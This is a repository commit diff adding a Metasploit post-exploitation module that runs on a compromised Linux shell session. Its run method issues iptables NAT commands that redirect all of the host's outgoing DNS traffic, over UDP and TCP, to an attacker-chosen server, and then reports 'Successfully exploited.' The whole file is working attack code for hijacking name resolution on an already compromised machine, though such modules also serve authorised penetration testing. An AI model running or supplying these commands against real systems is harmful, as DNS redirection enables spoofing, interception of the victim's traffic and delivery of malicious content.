Native DNS Spoofing module added
parent
5b60a91b66
commit
60becc272a
|
@ -0,0 +1,35 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::System
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Native DNS Spoofing module',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a shell. It will redirect DNS Request to remote DNS server.
|
||||||
|
},
|
||||||
|
'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('ORIGIN_PORT', [true, 'Origin port','53']),
|
||||||
|
OptString.new('DESTINY_PORT', [true, 'Destination port','53']),
|
||||||
|
OptAddress.new('DESTINY_IP', [true, 'Needed','8.8.8.8'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_good("Spoofing DNS server...")
|
||||||
|
cmd_exec("iptables -t nat -A OUTPUT -p udp --dport #{datastore['ORIGIN_PORT']} -j DNAT --to #{datastore['DESTINY_IP']}:#{datastore['DESTINY_PORT']}")
|
||||||
|
cmd_exec("iptables -t nat -A OUTPUT -p tcp --dport #{datastore['ORIGIN_PORT']} -j DNAT --to #{datastore['DESTINY_IP']}:#{datastore['DESTINY_PORT']}")
|
||||||
|
print_good("Successfully exploited.")
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue